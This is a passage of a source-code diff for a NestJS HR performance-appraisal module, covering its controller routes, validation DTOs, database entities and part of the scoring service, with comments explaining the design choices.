ParseIntPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { AppraisalService } from "../services/appraisal.service";
import { EAppraisalStatus } from "../entities/appraisal.entity";
import {
AcknowledgeDto,
CreateCycleDto,
CreateGoalDto,
CreateTemplateDto,
OpenCycleDto,
SubmitManagerDto,
SubmitSelfDto,
} from "../dto/appraisal.dto";
@ApiTags("appraisal")
@ApiBearerAuth()
@Controller("appraisal")
@HrStaff([
HR_PERMS.appraisal.manageCycle,
HR_PERMS.appraisal.manageTemplate,
HR_PERMS.appraisal.submitSelf,
HR_PERMS.appraisal.submitManager,
HR_PERMS.appraisal.viewAll,
])
export class AppraisalController {
constructor(private readonly appraisal: AppraisalService) {}
// ── Templates ─────────────────────────────────────────────────────────────
@Get("templates")
@HrStaff(HR_PERMS.appraisal.manageTemplate)
@ApiOperation({ summary: "Appraisal forms" })
templates(@CurrentUser() user: TCurrentUser) {
return this.appraisal.listTemplates(actorFrom(user));
}
@Post("templates")
@HrStaff(HR_PERMS.appraisal.manageTemplate)
@ApiOperation({
summary: "Create an appraisal form",
description:
"Criterion weights must total 100 — otherwise a score cannot be read as a " +
"percentage or compared between employees.",
})
@ApiResponse({ status: 400, description: "Weights do not total 100" })
createTemplate(
@Body() dto: CreateTemplateDto,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.createTemplate(dto, actorFrom(user));
}
@Get("templates/:id")
@HrStaff(HR_PERMS.appraisal.manageTemplate)
@ApiOperation({ summary: "One form, with its criteria" })
template(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.getTemplate(id, actorFrom(user));
}
// ── Cycles ────────────────────────────────────────────────────────────────
@Get("cycles")
@HrStaff(HR_PERMS.appraisal.submitSelf)
@ApiOperation({ summary: "Appraisal cycles" })
cycles(@CurrentUser() user: TCurrentUser) {
return this.appraisal.listCycles(actorFrom(user));
}
@Post("cycles")
@HrStaff(HR_PERMS.appraisal.manageCycle)
@ApiOperation({ summary: "Create a cycle" })
createCycle(@Body() dto: CreateCycleDto, @CurrentUser() user: TCurrentUser) {
return this.appraisal.createCycle(dto, actorFrom(user));
}
@Post("cycles/:id/open")
@HrStaff(HR_PERMS.appraisal.manageCycle)
@ApiOperation({
summary: "Open a cycle and create everyone's appraisal",
description:
"The form's criteria are copied onto each appraisal, so editing the " +
"template later cannot restate a review that has been signed. Safe to " +
"re-run: existing appraisals are left alone.",
})
@ApiResponse({ status: 201, description: "{ cycle, created, skipped }" })
openCycle(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: OpenCycleDto,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.openCycle(id, dto.employeeIds, actorFrom(user));
}
@Patch("cycles/:id/close")
@HrStaff(HR_PERMS.appraisal.manageCycle)
@ApiOperation({ summary: "Close a cycle" })
closeCycle(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.closeCycle(id, actorFrom(user));
}
@Get("cycles/:id/progress")
@HrStaff(HR_PERMS.appraisal.viewAll)
@ApiOperation({ summary: "How far a cycle has got — counts by status" })
progress(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.cycleProgress(id, actorFrom(user));
}
// ── Appraisals ────────────────────────────────────────────────────────────
@Get("mine")
@HrStaff(HR_PERMS.appraisal.submitSelf)
@ApiOperation({ summary: "My appraisals" })
mine(@CurrentUser() user: TCurrentUser) {
return this.appraisal.findMine(actorFrom(user));
}
@Get("awaiting-me")
@HrStaff(HR_PERMS.appraisal.submitManager)
@ApiOperation({ summary: "Appraisals waiting on my assessment" })
awaitingMe(@CurrentUser() user: TCurrentUser) {
return this.appraisal.findAwaitingMe(actorFrom(user));
}
@Get()
@HrStaff(HR_PERMS.appraisal.viewAll)
@ApiOperation({ summary: "All appraisals" })
@ApiQuery({ name: "cycleId", required: false })
@ApiQuery({ name: "status", required: false, enum: EAppraisalStatus })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("cycleId") cycleId?: string,
@Query("status") status?: EAppraisalStatus,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.appraisal.findAll({ cycleId, status, page, limit }, actorFrom(user));
}
@Get(":id")
@HrStaff(HR_PERMS.appraisal.submitSelf)
@ApiOperation({ summary: "One appraisal, with its ratings and goals" })
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.findOne(id, actorFrom(user));
}
@Post(":id/self")
@HrStaff(HR_PERMS.appraisal.submitSelf)
@ApiOperation({
summary: "Submit my own assessment",
description:
"Recorded for comparison; it does not decide the outcome. Every criterion " +
"must be scored.",
})
submitSelf(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: SubmitSelfDto,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.submitSelf(id, dto, actorFrom(user));
}
@Post(":id/manager")
@HrStaff(HR_PERMS.appraisal.submitManager)
@ApiOperation({
summary: "Submit the manager's assessment",
description:
"This decides the final score — it is NOT averaged with the self " +
"assessment, or anyone could raise their result by rating themselves " +
"highly. Nobody may appraise themselves.",
})
@ApiResponse({ status: 403, description: "You cannot appraise yourself" })
submitManager(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: SubmitManagerDto,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.submitManager(id, dto, actorFrom(user));
}
@Patch(":id/acknowledge")
@HrStaff(HR_PERMS.appraisal.submitSelf)
@ApiOperation({
summary: "Acknowledge the result",
description: "The employee's right of reply. It cannot change the score.",
})
acknowledge(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: AcknowledgeDto,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.acknowledge(id, dto.comment, actorFrom(user));
}
@Post(":id/goals")
@HrStaff(HR_PERMS.appraisal.submitManager)
@ApiOperation({ summary: "Add an objective to an appraisal" })
addGoal(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: CreateGoalDto,
@CurrentUser() user: TCurrentUser,
) {
return this.appraisal.addGoal(id, dto, actorFrom(user));
}
}

View File

@@ -0,0 +1,282 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
IsArray,
IsBoolean,
IsDateString,
IsNotEmpty,
IsNumber,
IsNumberString,
IsObject,
IsOptional,
IsString,
IsUUID,
Max,
MaxLength,
Min,
ValidateNested,
} from "class-validator";
import { LocalizedTextDto } from "../../leave/dto/leave-type.dto";
export class RatingBandDto {
@ApiProperty({ minimum: 0, maximum: 100, example: 90 })
@IsNumber()
@Min(0)
@Max(100)
min!: number;
@ApiProperty({ type: LocalizedTextDto })
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
label!: LocalizedTextDto;
}
export class CriterionDto {
@ApiProperty({ maxLength: 32, example: "QUALITY" })
@IsString()
@IsNotEmpty()
@MaxLength(32)
code!: string;
@ApiProperty({ type: LocalizedTextDto })
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
name!: LocalizedTextDto;
@ApiPropertyOptional({ type: LocalizedTextDto })
@IsOptional()
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
description?: LocalizedTextDto;
@ApiPropertyOptional({ maxLength: 32, example: "RESULTS" })
@IsOptional()
@IsString()
@MaxLength(32)
category?: string;
@ApiProperty({
example: "25.00",
description: "Percentage points. All criteria in a template must total 100.",
})
@IsNumberString()
weight!: string;
}
export class CreateTemplateDto {
@ApiProperty({ maxLength: 32, example: "ANNUAL-2026" })
@IsString()
@IsNotEmpty()
@MaxLength(32)
code!: string;
@ApiProperty({ type: LocalizedTextDto })
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
name!: LocalizedTextDto;
@ApiPropertyOptional({ type: LocalizedTextDto })
@IsOptional()
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
description?: LocalizedTextDto;
@ApiPropertyOptional({ example: "5.00", description: "Top of the per-criterion scale." })
@IsOptional()
@IsNumberString()
maxScore?: string;
@ApiPropertyOptional({ type: [RatingBandDto] })
@IsOptional()
@IsArray()
@ValidateNested({ each: true })
@Type(() => RatingBandDto)
ratingBands?: RatingBandDto[];
@ApiPropertyOptional({ default: true })
@IsOptional()
@IsBoolean()
requiresSelfAssessment?: boolean;
@ApiPropertyOptional({
default: true,
description: "Whether the employee must acknowledge the result before it closes.",
})
@IsOptional()
@IsBoolean()
requiresAcknowledgement?: boolean;
@ApiProperty({ type: [CriterionDto] })
@IsArray()
@ValidateNested({ each: true })
@Type(() => CriterionDto)
criteria!: CriterionDto[];
}
export class CreateCycleDto {
@ApiProperty({ maxLength: 32, example: "FY2026" })
@IsString()
@IsNotEmpty()
@MaxLength(32)
code!: string;
@ApiProperty({ type: LocalizedTextDto })
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
name!: LocalizedTextDto;
@ApiProperty({ format: "uuid" })
@IsUUID()
templateId!: string;
@ApiProperty({ format: "date" })
@IsDateString()
periodStart!: string;
@ApiProperty({ format: "date" })
@IsDateString()
periodEnd!: string;
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
selfDueOn?: string;
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
managerDueOn?: string;
}
export class OpenCycleDto {
@ApiPropertyOptional({
type: [String],
format: "uuid",
description:
"Who to appraise. Omit for everyone employed in the organization with an " +
"HR profile — terminated and retired staff are excluded either way.",
})
@IsOptional()
@IsArray()
@IsUUID(undefined, { each: true })
employeeIds?: string[];
}
export class RatingInputDto {
@ApiProperty({ maxLength: 32 })
@IsString()
@IsNotEmpty()
code!: string;
@ApiProperty({ example: 4, description: "0 to the template's maxScore." })
@IsNumber()
@Min(0)
score!: number;
@ApiPropertyOptional({ maxLength: 1024 })
@IsOptional()
@IsString()
@MaxLength(1024)
comment?: string;
}
export class SubmitSelfDto {
@ApiProperty({ type: [RatingInputDto], description: "Every criterion is required." })
@IsArray()
@ValidateNested({ each: true })
@Type(() => RatingInputDto)
ratings!: RatingInputDto[];
@ApiPropertyOptional({ maxLength: 2048 })
@IsOptional()
@IsString()
@MaxLength(2048)
comment?: string;
}
export class GoalOutcomeDto {
@ApiProperty({ format: "uuid" })
@IsUUID()
id!: string;
@ApiPropertyOptional({
minimum: 0,
maximum: 200,
description: "Over 100 is allowed — exceeding a target is a real outcome.",
})
@IsOptional()
@IsNumber()
@Min(0)
@Max(200)
achievementPercent?: number;
@ApiPropertyOptional({ maxLength: 1024 })
@IsOptional()
@IsString()
@MaxLength(1024)
comment?: string;
}
export class SubmitManagerDto {
@ApiProperty({ type: [RatingInputDto] })
@IsArray()
@ValidateNested({ each: true })
@Type(() => RatingInputDto)
ratings!: RatingInputDto[];
@ApiPropertyOptional({ type: [GoalOutcomeDto] })
@IsOptional()
@IsArray()
@ValidateNested({ each: true })
@Type(() => GoalOutcomeDto)
goals?: GoalOutcomeDto[];
@ApiPropertyOptional({ maxLength: 2048 })
@IsOptional()
@IsString()
@MaxLength(2048)
comment?: string;
}
export class AcknowledgeDto {
@ApiPropertyOptional({
maxLength: 2048,
description: "The employee's right of reply. It cannot change the score.",
})
@IsOptional()
@IsString()
@MaxLength(2048)
comment?: string;
}
export class CreateGoalDto {
@ApiProperty({ maxLength: 256 })
@IsString()
@IsNotEmpty()
@MaxLength(256)
title!: string;
@ApiPropertyOptional({ maxLength: 2048 })
@IsOptional()
@IsString()
@MaxLength(2048)
description?: string;
@ApiPropertyOptional({ maxLength: 256, example: "Reduce turnaround to 3 days" })
@IsOptional()
@IsString()
@MaxLength(256)
target?: string;
@ApiPropertyOptional({ example: "20.00" })
@IsOptional()
@IsNumberString()
weight?: string;
}

View File

@@ -0,0 +1,361 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Column,
CreateDateColumn,
Entity,
Index,
JoinColumn,
ManyToOne,
OneToMany,
PrimaryGeneratedColumn,
} from "typeorm";
export enum ECycleStatus {
DRAFT = "DRAFT",
OPEN = "OPEN",
CLOSED = "CLOSED",
CANCELLED = "CANCELLED",
}
export enum EAppraisalStatus {
/** Waiting on the employee's own assessment. */
PENDING_SELF = "PENDING_SELF",
PENDING_MANAGER = "PENDING_MANAGER",
/** Scored and shared; waiting for the employee to acknowledge it. */
PENDING_ACKNOWLEDGEMENT = "PENDING_ACKNOWLEDGEMENT",
COMPLETED = "COMPLETED",
CANCELLED = "CANCELLED",
}
/** `[{ min: 90, label: { am, en } }, …]`, highest first. */
export interface RatingBand {
min: number;
label: { am: string; en: string };
}
@Entity({ schema: "hr", name: "appraisal_templates" })
@Index("idx_appraisal_templates_org", ["organizationId"])
export class AppraisalTemplate extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "varchar", length: 32, name: "code" })
code!: string;
@Column({ type: "jsonb", name: "name" })
name!: { am: string; en: string };
@Column({ type: "jsonb", name: "description", nullable: true })
description?: { am: string; en: string } | null;
/** The top of the per-criterion scale — 5 for a five-point scale. */
@Column({ type: "numeric", precision: 6, scale: 2, name: "max_score", default: 5 })
maxScore!: string;
/**
* What a percentage means in words. Data rather than constants because every
* employer words these differently, and the wording is what appears on the
* review the employee signs.
*/
@Column({ type: "jsonb", name: "rating_bands", default: () => `'[]'::jsonb` })
ratingBands!: RatingBand[];
@Column({ type: "boolean", name: "requires_self_assessment", default: true })
requiresSelfAssessment!: boolean;
@Column({ type: "boolean", name: "requires_acknowledgement", default: true })
requiresAcknowledgement!: boolean;
@Column({ type: "boolean", name: "is_active", default: true })
isActive!: boolean;
@OneToMany(() => AppraisalCriterion, (criterion) => criterion.template)
criteria?: AppraisalCriterion[];
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}
@Entity({ schema: "hr", name: "appraisal_criteria" })
export class AppraisalCriterion {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "template_id" })
templateId!: string;
@ManyToOne(() => AppraisalTemplate, (template) => template.criteria)
@JoinColumn({ name: "template_id" })
template?: AppraisalTemplate;
@Column({ type: "varchar", length: 32, name: "code" })
code!: string;
@Column({ type: "jsonb", name: "name" })
name!: { am: string; en: string };
@Column({ type: "jsonb", name: "description", nullable: true })
description?: { am: string; en: string } | null;
/** e.g. `RESULTS`, `BEHAVIOUR` — for grouping on the form. */
@Column({ type: "varchar", length: 32, name: "category", nullable: true })
category?: string | null;
/** Percentage points. All criteria in a template must total 100. */
@Column({ type: "numeric", precision: 6, scale: 2, name: "weight" })
weight!: string;
@Column({ type: "smallint", name: "sort_order", default: 100 })
sortOrder!: number;
@CreateDateColumn({ type: "timestamptz", name: "created_at" })
createdAt!: Date;
}
@Entity({ schema: "hr", name: "appraisal_cycles" })
@Index("idx_appraisal_cycles_org", ["organizationId"])
export class AppraisalCycle extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "varchar", length: 32, name: "code" })
code!: string;
@Column({ type: "jsonb", name: "name" })
name!: { am: string; en: string };
@Column({ type: "uuid", name: "template_id" })
templateId!: string;
@ManyToOne(() => AppraisalTemplate)
@JoinColumn({ name: "template_id" })
template?: AppraisalTemplate;
@Column({ type: "date", name: "period_start" })
periodStart!: string;
@Column({ type: "date", name: "period_end" })
periodEnd!: string;
@Column({ type: "date", name: "self_due_on", nullable: true })
selfDueOn?: string | null;
@Column({ type: "date", name: "manager_due_on", nullable: true })
managerDueOn?: string | null;
@Column({
type: "varchar",
length: 16,
name: "status",
default: ECycleStatus.DRAFT,
})
status!: ECycleStatus;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}
/**
* One employee's review for one cycle.
*
* The criteria are copied onto the appraisal as ratings when it opens, rather
* than joined from the template. Editing a template a year later must not
* restate a review that has already been signed.
*/
@Entity({ schema: "hr", name: "appraisals" })
@Index("idx_appraisals_employee", ["employeeId"])
export class Appraisal extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "uuid", name: "cycle_id" })
cycleId!: string;
@ManyToOne(() => AppraisalCycle)
@JoinColumn({ name: "cycle_id" })
cycle?: AppraisalCycle;
@Column({ type: "uuid", name: "employee_id" })
employeeId!: string;
/** The line manager, resolved the same way leave approvals are. */
@Column({ type: "uuid", name: "appraiser_employee_id", nullable: true })
appraiserEmployeeId?: string | null;
@Column({
type: "varchar",
length: 24,
name: "status",
default: EAppraisalStatus.PENDING_SELF,
})
status!: EAppraisalStatus;
/** All three are percentages, 0100. */
@Column({ type: "numeric", precision: 6, scale: 2, name: "self_score", nullable: true })
selfScore?: string | null;
@Column({
type: "numeric",
precision: 6,
scale: 2,
name: "manager_score",
nullable: true,
})
managerScore?: string | null;
@Column({ type: "numeric", precision: 6, scale: 2, name: "final_score", nullable: true })
finalScore?: string | null;
@Column({ type: "varchar", length: 32, name: "final_rating", nullable: true })
finalRating?: string | null;
@Column({ type: "varchar", length: 2048, name: "self_comment", nullable: true })
selfComment?: string | null;
@Column({ type: "varchar", length: 2048, name: "manager_comment", nullable: true })
managerComment?: string | null;
/** The employee's right of reply, recorded at acknowledgement. */
@Column({ type: "varchar", length: 2048, name: "employee_comment", nullable: true })
employeeComment?: string | null;
@Column({ type: "timestamptz", name: "self_submitted_at", nullable: true })
selfSubmittedAt?: Date | null;
@Column({ type: "timestamptz", name: "manager_submitted_at", nullable: true })
managerSubmittedAt?: Date | null;
@Column({ type: "timestamptz", name: "acknowledged_at", nullable: true })
acknowledgedAt?: Date | null;
@OneToMany(() => AppraisalRating, (rating) => rating.appraisal)
ratings?: AppraisalRating[];
@OneToMany(() => AppraisalGoal, (goal) => goal.appraisal)
goals?: AppraisalGoal[];
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}
/** One criterion on one appraisal, scored from both sides. */
@Entity({ schema: "hr", name: "appraisal_ratings" })
export class AppraisalRating {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "appraisal_id" })
appraisalId!: string;
@ManyToOne(() => Appraisal, (appraisal) => appraisal.ratings)
@JoinColumn({ name: "appraisal_id" })
appraisal?: Appraisal;
@Column({ type: "uuid", name: "criterion_id", nullable: true })
criterionId?: string | null;
@Column({ type: "varchar", length: 32, name: "code" })
code!: string;
@Column({ type: "jsonb", name: "name" })
name!: { am: string; en: string };
/** Copied from the criterion, so the form the review used is preserved. */
@Column({ type: "numeric", precision: 6, scale: 2, name: "weight" })
weight!: string;
@Column({ type: "numeric", precision: 6, scale: 2, name: "max_score" })
maxScore!: string;
@Column({ type: "numeric", precision: 6, scale: 2, name: "self_score", nullable: true })
selfScore?: string | null;
@Column({
type: "numeric",
precision: 6,
scale: 2,
name: "manager_score",
nullable: true,
})
managerScore?: string | null;
@Column({ type: "varchar", length: 1024, name: "self_comment", nullable: true })
selfComment?: string | null;
@Column({ type: "varchar", length: 1024, name: "manager_comment", nullable: true })
managerComment?: string | null;
@Column({ type: "smallint", name: "sort_order", default: 100 })
sortOrder!: number;
@CreateDateColumn({ type: "timestamptz", name: "created_at" })
createdAt!: Date;
}
/**
* An objective agreed at the start of the cycle and rated at the end.
*
* `achievementPercent` allows up to 200: exceeding a target is a real outcome,
* and capping it at 100 would erase the difference between meeting a goal and
* doubling it.
*/
@Entity({ schema: "hr", name: "appraisal_goals" })
export class AppraisalGoal {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "appraisal_id" })
appraisalId!: string;
@ManyToOne(() => Appraisal, (appraisal) => appraisal.goals)
@JoinColumn({ name: "appraisal_id" })
appraisal?: Appraisal;
@Column({ type: "varchar", length: 256, name: "title" })
title!: string;
@Column({ type: "varchar", length: 2048, name: "description", nullable: true })
description?: string | null;
@Column({ type: "varchar", length: 256, name: "target", nullable: true })
target?: string | null;
@Column({ type: "numeric", precision: 6, scale: 2, name: "weight", nullable: true })
weight?: string | null;
@Column({
type: "numeric",
precision: 6,
scale: 2,
name: "achievement_percent",
nullable: true,
})
achievementPercent?: string | null;
@Column({ type: "varchar", length: 1024, name: "manager_comment", nullable: true })
managerComment?: string | null;
@Column({ type: "smallint", name: "sort_order", default: 100 })
sortOrder!: number;
@CreateDateColumn({ type: "timestamptz", name: "created_at" })
createdAt!: Date;
}

View File

@@ -0,0 +1,635 @@
import {
BadRequestException,
ConflictException,
ForbiddenException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { InjectDataSource, InjectRepository } from "@nestjs/typeorm";
import { DataSource, Repository } from "typeorm";
import { ActorContext, orgScope } from "../../employees/employees.service";
import { EmployeesRepository } from "../../employees/employees.repository";
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
import { Paginated, paginate } from "../../../common/pagination.dto";
import {
Appraisal,
AppraisalCriterion,
AppraisalCycle,
AppraisalGoal,
AppraisalRating,
AppraisalTemplate,
EAppraisalStatus,
ECycleStatus,
RatingBand,
} from "../entities/appraisal.entity";
import {
CreateCycleDto,
CreateTemplateDto,
SubmitManagerDto,
SubmitSelfDto,
} from "../dto/appraisal.dto";
const round2 = (value: number): number =>
Math.round((value + Number.EPSILON) * 100) / 100;
/** Weights must total this. Anything else makes scores incomparable. */
const REQUIRED_WEIGHT_TOTAL = 100;
@Injectable()
export class AppraisalService {
constructor(
@InjectDataSource() private readonly dataSource: DataSource,
@InjectRepository(AppraisalTemplate)
private readonly templates: Repository<AppraisalTemplate>,
@InjectRepository(AppraisalCriterion)
private readonly criteria: Repository<AppraisalCriterion>,
@InjectRepository(AppraisalCycle)
private readonly cycles: Repository<AppraisalCycle>,
@InjectRepository(Appraisal)
private readonly appraisals: Repository<Appraisal>,
@InjectRepository(AppraisalGoal)
private readonly goals: Repository<AppraisalGoal>,
private readonly employees: EmployeesRepository,
private readonly iamDirectory: IamDirectoryService,
) {}
// ── Templates ─────────────────────────────────────────────────────────────
async createTemplate(
dto: CreateTemplateDto,
actor: ActorContext,
): Promise<AppraisalTemplate> {
const organizationId = this.requireOrg(actor);
const clash = await this.templates.findOne({
where: { organizationId, code: dto.code },
});
if (clash) {
throw new ConflictException(`Template ${dto.code} already exists`);
}
AppraisalService.assertWeights(dto.criteria.map((c) => Number(c.weight)));
AppraisalService.assertBands(dto.ratingBands ?? []);
const template = await this.templates.save(
this.templates.create({
organizationId,
code: dto.code,
name: dto.name,
description: dto.description,
maxScore: dto.maxScore ?? "5.00",
ratingBands: dto.ratingBands ?? [],
requiresSelfAssessment: dto.requiresSelfAssessment ?? true,
requiresAcknowledgement: dto.requiresAcknowledgement ?? true,
createdBy: actor.userId,
} as unknown as Partial<AppraisalTemplate>),
);
let order = 10;
for (const criterion of dto.criteria) {
await this.criteria.save(
this.criteria.create({
templateId: template.id,
code: criterion.code,
name: criterion.name,
description: criterion.description,
category: criterion.category ?? null,
weight: criterion.weight,
sortOrder: order,
} as unknown as Partial<AppraisalCriterion>),
);
order += 10;
}
return this.getTemplate(template.id, actor);
}
async getTemplate(id: string, actor: ActorContext): Promise<AppraisalTemplate> {
const template = await this.templates.findOne({
where: { id },
relations: { criteria: true },
});
if (!template) throw new NotFoundException(`Template ${id} not found`);
const scope = orgScope(actor);
if (scope && template.organizationId !== scope) {
throw new NotFoundException(`Template ${id} not found`);
}
template.criteria?.sort((a, b) => a.sortOrder - b.sortOrder);
return template;
}
listTemplates(actor: ActorContext): Promise<AppraisalTemplate[]> {
const scope = orgScope(actor) ?? actor.organizationId;
return this.templates.find({
where: scope ? { organizationId: scope } : {},
relations: { criteria: true },
order: { code: "ASC" },
});
}
// ── Cycles ────────────────────────────────────────────────────────────────
async createCycle(dto: CreateCycleDto, actor: ActorContext): Promise<AppraisalCycle> {
const organizationId = this.requireOrg(actor);
const template = await this.getTemplate(dto.templateId, actor);
const clash = await this.cycles.findOne({
where: { organizationId, code: dto.code },
});
if (clash) throw new ConflictException(`Cycle ${dto.code} already exists`);
if (!template.criteria?.length) {
throw new BadRequestException(
`${template.code} has no criteria, so nothing could be scored.`,
);
}
return this.cycles.save(
this.cycles.create({
...dto,
organizationId,
status: ECycleStatus.DRAFT,
createdBy: actor.userId,
} as unknown as Partial<AppraisalCycle>),
);
}
/**
* Open a cycle and create an appraisal for everyone in scope.
*
* The template's criteria are COPIED onto each appraisal as ratings. Joining
* to the template instead would mean editing it a year later silently restated
* reviews that had already been signed.
*/
async openCycle(
id: string,
employeeIds: string[] | undefined,
actor: ActorContext,
): Promise<{ cycle: AppraisalCycle; created: number; skipped: number }> {
const cycle = await this.requireCycle(id, actor);
if (cycle.status !== ECycleStatus.DRAFT && cycle.status !== ECycleStatus.OPEN) {
throw new BadRequestException(
`This cycle is ${cycle.status.toLowerCase()} and cannot be opened.`,
);
}
const template = await this.getTemplate(cycle.templateId, actor);
// Default population: everyone with an HR profile in this organization who
// is actually employed. A terminated employee is not appraised.
const targets = employeeIds ?? (await this.eligibleEmployees(cycle.organizationId));
let created = 0;
let skipped = 0;
for (const employeeId of targets) {
const existing = await this.appraisals.findOne({
where: { cycleId: cycle.id, employeeId },
});
if (existing) {
skipped += 1;
continue;
}
const profile = await this.employees.findByEmployeeId(employeeId);
if (!profile) {
skipped += 1;
continue;
}
const appraiser =
profile.managerEmployeeId ??
(await this.iamDirectory.findLineManagerEmployeeId(employeeId));
await this.dataSource.transaction(async (manager) => {
const appraisal = await manager.getRepository(Appraisal).save(
manager.getRepository(Appraisal).create({
organizationId: cycle.organizationId,
cycleId: cycle.id,
employeeId,
appraiserEmployeeId: appraiser,
status: template.requiresSelfAssessment
? EAppraisalStatus.PENDING_SELF
: EAppraisalStatus.PENDING_MANAGER,
createdBy: actor.userId,
} as Partial<Appraisal>),
);
for (const criterion of template.criteria ?? []) {
await manager.getRepository(AppraisalRating).save(
manager.getRepository(AppraisalRating).create({
appraisalId: appraisal.id,
criterionId: criterion.id,
code: criterion.code,
name: criterion.name,
weight: criterion.weight,
maxScore: template.maxScore,
sortOrder: criterion.sortOrder,
} as Partial<AppraisalRating>),
);
}
});
created += 1;
}
await this.cycles.update(cycle.id, {
status: ECycleStatus.OPEN,
updatedBy: actor.userId,
});
return { cycle: await this.requireCycle(id, actor), created, skipped };
}
async closeCycle(id: string, actor: ActorContext): Promise<AppraisalCycle> {
const cycle = await this.requireCycle(id, actor);
if (cycle.status !== ECycleStatus.OPEN) {
throw new BadRequestException(
`Only an open cycle can be closed; this one is ${cycle.status.toLowerCase()}.`,
);
}
await this.cycles.update(id, {
status: ECycleStatus.CLOSED,
updatedBy: actor.userId,
});
return this.requireCycle(id, actor);
}
listCycles(actor: ActorContext): Promise<AppraisalCycle[]> {
const scope = orgScope(actor) ?? actor.organizationId;
return this.cycles.find({
where: scope ? { organizationId: scope } : {},
relations: { template: true },
order: { periodStart: "DESC" },
});
}
/** How far a cycle has got — counts by status. */
async cycleProgress(id: string, actor: ActorContext): Promise<Record<string, number>> {
const cycle = await this.requireCycle(id, actor);
const rows = await this.appraisals
.createQueryBuilder("appraisal")
.select("appraisal.status", "status")
.addSelect("COUNT(*)", "count")
.where("appraisal.cycle_id = :id", { id: cycle.id })
.groupBy("appraisal.status")
.getRawMany<{ status: string; count: string }>();
return Object.fromEntries(rows.map((row) => [row.status, Number(row.count)]));
}
// ── Appraisals ────────────────────────────────────────────────────────────
async findOne(id: string, actor: ActorContext): Promise<Appraisal> {
const appraisal = await this.appraisals.findOne({
where: { id },
relations: { ratings: true, goals: true, cycle: true },
});
if (!appraisal) throw new NotFoundException(`Appraisal ${id} not found`);
const scope = orgScope(actor);
if (scope && appraisal.organizationId !== scope) {
throw new NotFoundException(`Appraisal ${id} not found`);
}
appraisal.ratings?.sort((a, b) => a.sortOrder - b.sortOrder);
appraisal.goals?.sort((a, b) => a.sortOrder - b.sortOrder);
return appraisal;
}
async findMine(actor: ActorContext): Promise<Appraisal[]> {
if (!actor.employeeId) return [];
return this.appraisals.find({
where: { employeeId: actor.employeeId },
relations: { cycle: true },
order: { createdAt: "DESC" },
});
}
async findAwaitingMe(actor: ActorContext): Promise<Appraisal[]> {
if (!actor.employeeId) return [];
return this.appraisals.find({
where: {
appraiserEmployeeId: actor.employeeId,
status: EAppraisalStatus.PENDING_MANAGER,
},
relations: { cycle: true },
order: { createdAt: "ASC" },
});
}
async findAll(
filters: { cycleId?: string; status?: EAppraisalStatus; page?: number; limit?: number },
actor: ActorContext,
): Promise<Paginated<Appraisal>> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const qb = this.appraisals
.createQueryBuilder("appraisal")
.leftJoinAndSelect("appraisal.cycle", "cycle");
const scope = orgScope(actor);
if (scope) qb.andWhere("appraisal.organization_id = :scope", { scope });
if (filters.cycleId) {
qb.andWhere("appraisal.cycle_id = :cycleId", { cycleId: filters.cycleId });
}
if (filters.status) {
